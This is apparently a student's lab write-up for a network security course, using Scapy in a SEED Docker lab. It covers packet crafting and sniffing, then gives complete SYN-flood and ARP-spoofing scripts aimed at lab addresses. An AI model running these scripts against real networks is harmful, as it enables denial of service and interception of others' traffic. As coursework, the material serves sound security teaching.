20220330计算机网络安全(王美珍老师)课后作业1
实验环境
老师给出的实验环境是Ubuntu 16.04的Seed虚拟机,但官网也有看上去更加舒服的20.04版本Ubuntu的Seed
SEED Project (seedsecuritylabs.org)
安装完成后,启动即可
整体结构如下图所示,HostB为Seed虚拟机,HostA/HostM/Server2为Container
网络环境
# 模拟Internet的extranet
sudo docker network create --subnet=10.0.2.0/24 --gateway=10.0.2.8 --opt "com.docker.network.bridge.name"="docker1" extranet
# 模拟局域网的intranet
sudo docker network create --subnet=192.168.60.0/24 --gateway=192.168.60.1 --opt "com.docker.network.bridge.name"="docker2" intranet
选项
名称,简写 | 默认 | 描述 |
---|---|---|
–attachable | false | 启用手动容器附件 |
–aux-address | map[] | 网络驱动程序使用的辅助IPv4或IPv6地址 |
–config-from | 从中复制配置的网络 | |
–config-only | false | 创建一个仅配置网络 |
–driver,-d | bridge | 驱动程序来管理网络 |
–gateway | 主子网的IPv4或IPv6网关 | |
–ingress | false | 创建群体路由网状网络 |
–internal | false | 限制对网络的外部访问 |
–ip-range | 从子范围分配容器IP | |
–ipam-driver | default | IP地址管理驱动程序 |
–ipam-opt | map[] | 设置IPAM驱动程序特定选项 |
–ipv6 | false | 启用IPv6网络 |
–label | 在网络上设置元数据 | |
–opt, -o | map[] | 设置驱动程序特定选项 |
–scope | 控制网络的范围 | |
–subnet | 表示网段的CIDR格式的子网 |
网桥驱动选项 –opt
Option | Equivalent | Description |
---|---|---|
com.docker.network.bridge.name | - | Bridge name to be used when creating the Linux bridge |
com.docker.network.bridge.enable_ip_masquerade | --ip-masq | Enable IP masquerading |
com.docker.network.bridge.enable_icc | --icc | Enable or Disable Inter Container Connectivity |
com.docker.network.bridge.host_binding_ipv4 | --ip | Default IP when binding container ports |
com.docker.network.driver.mtu | --mtu | Set the containers network MTU |
com.docker.network.container_iface_prefix | - | Set a custom prefix for container interfaces |
容器配置
# Server2 10.0.2.7
sudo docker run -it --name=Server2 --hostname=Server2 --net=extranet --ip=10.0.2.7 --privileged "seedubuntu" /bin/bash
# HostA 192.168.60.2
sudo docker run -it --name=HostA --hostname=HostA --net=intranet --ip=192.168.60.2 --privileged "seedubuntu" /bin/bash
# HostM 192.168.60.3
sudo docker run -it --name=HostM --hostname=HostM --net=intranet --ip=192.168.60.3 --privileged "seedubuntu" /bin/bash
工具
依照之前网安实践的指导书,选择HostA/HosM来熟练Scapy应用
在HostM上(默认是root用户)安装Scapy
apt install python-scapy
在HostA上配置tcpdump(解决可能出现tcpdump找不到链接库的问题)
mv /usr/sbin/tcpdump /usr/bin/
ln -s /usr/bin/tcpdump /usr/sbin/tcpdump
构造IP报文
在HostM中命令行直接键入scapy即可进入交互界面
构造一个目的地址dst为HostA(192.168.60.2)的IP报文,并发送
# HostM
ip = IP(dst = "192.168.60.2") # 目的IP
send(ip, iface="eth0") # 指定eth0网卡发送
在HostA上通过tcpdump可以查看接收到的报文
# HostA
tcpdump -i eth0 host 192.168.60.3 -n -vv
构造二层报文
在HostM上构建ARP二层报文并发送到HostA
# HostM
sendp(
Ether(
dst = "ff:ff:ff:ff:ff:ff"
) / ARP(
hwsrc = "00:0c:29:72:b2:b5",
psrc = "192.168.60.3",
hwdst = "ff:ff:ff:ff:ff:ff",
pdst = "192.168.60.2"
) / "abc",
iface = "eth0"
)
在HostA上通过tcpdump可以看到结果
在HostA上通过sniff方法查看发出去的ARP包,可以看到编号1/3/5的抓包结果都是发送的ARP报文
可以更加深入进行查看
接收IP报文
使用sr()方法由HostM向HostA发送ICMP报文
# HostM
sr(IP(dst = "192.168.60.2") / ICMP())
HostA响应了这个包,Results中显示:ICMP:1
如果向同一网段中不存在的IP发送ICMP包,则会触发广播,但是广播也没人回应,毕竟不存在,可以强行中断
Results中显示:ICMP:0,同时Unanswered中显示:ICMP:1
可以分别查看Results和Unanswered中具体的内容
接收二层报文
同上,由HostM向HostA发二层报文并接收返回信息
# HostM
results, unanswered = srp(
Ether(
dst = "ff:ff:ff:ff:ff:ff"
) / ARP (
pdst = "192.168.60.0/24"
),
timeout = 5,
iface = "eth0"
)
由于向整个网段发送ARP报文耗时较长,所以此处设置timeout为5秒
发送完成后,通过results/unanswered中的内容可以看到响应结果
192.168.60.1是网关,也就是seed虚拟机本身
192.168.60.2是HostA,除此之外没有其他同网段的主机了
构造四层报文
启动HostA的HTTP服务
这里根据要求使用了Apache2,由于是在docker环境下完成,所以无法使用systemctl命令
server - systemctl failed to connect to bus - docker ubuntu:16.04 container - Ask Ubuntu
# HostA
service apache2 start
service apache2 status
可能出现如下问题
解决办法apache2 - Having problem while starting apache server - Ask Ubuntu
# HostA
mkdir /run
mkdir /run/lock
启动完成后,在HostM上可以通过以下命令检验
wget http://192.168.60.2
应有结果
构造TCP-SYN报文
在HostM中构造如下报文并发送
# HostM
results, unanswered = sr(
IP(dst = "192.168.60.2") / TCP(sport = 30, dport = 80, flags = "S")
)
该报文的源端口为30,目的端口为80,即HostA开启http服务的端口,flags = “S"表示是一个TCP-SYN报文
HostA中tcpdump获取的记过如下图所示
在HostM中查看results结果,可以看到HostA返回了一个flags = “SA"的报文,即回复了ACK报文
构造报文时可以随机生成端口
# HostM 随机生成1-65535的数字(也就是端口号的合法范围中的随机数字)
results, unanswered = sr(
IP(dst = "192.168.60.2") / TCP(sport = RandShort(), dport = 80, flags = "S")
)
# HostM 随机生成指定范围的端口号,避开可能已经被其他应用使用的端口
results, unanswered = sr(
IP(dst = "192.168.60.2") / TCP(sport = RandNum(1000, 1500), dport = 80, flags = "S")
)
# HostM 还可以使用fuzz方法随机地补全未指定内容
results, unanswered = sr(
IP(dst = "192.168.60.2") / fuzz(TCP(dport = 80, flags = "S"))
)
随机生成了21235源端口号
嗅探
以下是sniff方法的一些参数
在HostM上嗅探HostA发送的ICMP报文
# HostM
data = sniff(filter = "icmp and host 192.168.60.2", count = 3)
下图是HostA ping了几次HostM的嗅探结果
#!/usr/bin/python3
from scapy.all import *
print("SNIFFING PACKETS ..........")
def print_pkt(pkt):
print("Source IP:", pkt[IP].src)
print("Destination IP:", pkt[IP].dst)
print("Protocol:", pkt[IP].proto)
print("\n")
pkt = sniff(filter = "ip", prn = print_pkt)
监听TCP
#!/usr/bin/python3
from scapy.all import *
print("SNIFFING PACKETS ..........")
def print_pkt(pkt):
print("Source IP:", pkt[IP].src)
print("Source Port:", pkt[IP][TCP].sport)
print("Destination IP:", pkt[IP].dst)
print("Destination Port:", pkt[IP][TCP].dport)
print("Protocol:", pkt[IP].proto)
print("\n")
pkt = sniff(filter = "tcp", prn = print_pkt)
syn-flooding 攻击
#!/usr/bin/python
from scapy.all import *
from ipaddress import IPv4Address
from random import getrandbits
def __get_random_ip():
return str(IPv4Address(getrandbits(32)))
i = 0
while True:
print(i)
send(
IP(
src = __get_random_ip(),
dst = "192.168.60.2",
id = 2345 + i
) / TCP (
sport = RandShort(),
dport = 80,
flags = "S"
)
)
i = i + 1
攻击效果(但是在访问HostA的web服务的过程中并未感受到Dos)
arp-spoofing 攻击
#!/usr/bin/python
from scapy.all import *
def getmac(ip):
arp_p = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=ip)
ans = srp(arp_p, timeout=2, verbose=False)
return ans[0].res[0][1][1].fields['hwsrc']
def spoofarpcache(target_ip, target_mac, source_ip):
spoofed = ARP(op=2, pdst=target_ip, psrc=source_ip, hwdst=target_mac)
send(spoofed, verbose=False)
def restorearp(target_ip, target_mac, source_ip, source_mac):
packet = ARP(op=2, hwsrc=source_mac, psrc=source_ip,
hwdst=target_mac, pdst=target_ip)
send(packet, verbose=False)
print("ARP Table restored to normal", target_ip)
def main():
target_ip = "192.168.60.2"
gateway_ip = "192.168.60.1"
try:
target_mac = getmac(target_ip)
print("Target MAC:", target_mac)
except:
print("Target machine did not respond ARP broadcast.")
quit()
try:
gateway_mac = getmac(gateway_ip)
print("Gateway MAC:", gateway_mac)
except:
print("Gateway is unreachable.")
quit()
try:
print("Sending spoofed ARP responses.")
while True:
spoofarpcache(target_ip, target_mac, gateway_ip)
spoofarpcache(gateway_ip, gateway_mac, target_ip)
except:
pirnt("ARP spoofing stopped.")
restorearp(gateway_ip, gateway_mac, target_ip, target_mac)
restorearp(target_ip, target_mac, gateway_ip, gateway_mac)
quit()
if __name__ == "__main__":
main()
使用arp欺骗前
名字 | IP | MAC |
---|---|---|
HostA | 192.168.60.2 | 02:42:c0:a8:3c:02 |
HostM | 192.168.60.3 | 02:42:c0:a8:3c:03 |
HostB | 192.168.60.1 | 02:42:66:24:d2:a2 |
被攻击主机HostA
攻击者HostM
被欺骗网关HostB
执行arp欺骗后
被攻击主机HostA上,HostB 192.168.60.1的MAC已经被改为HostM的MAC
被欺骗网关HostB上,HostA 192.168.60.2的MAC已经被改为HostM的MAC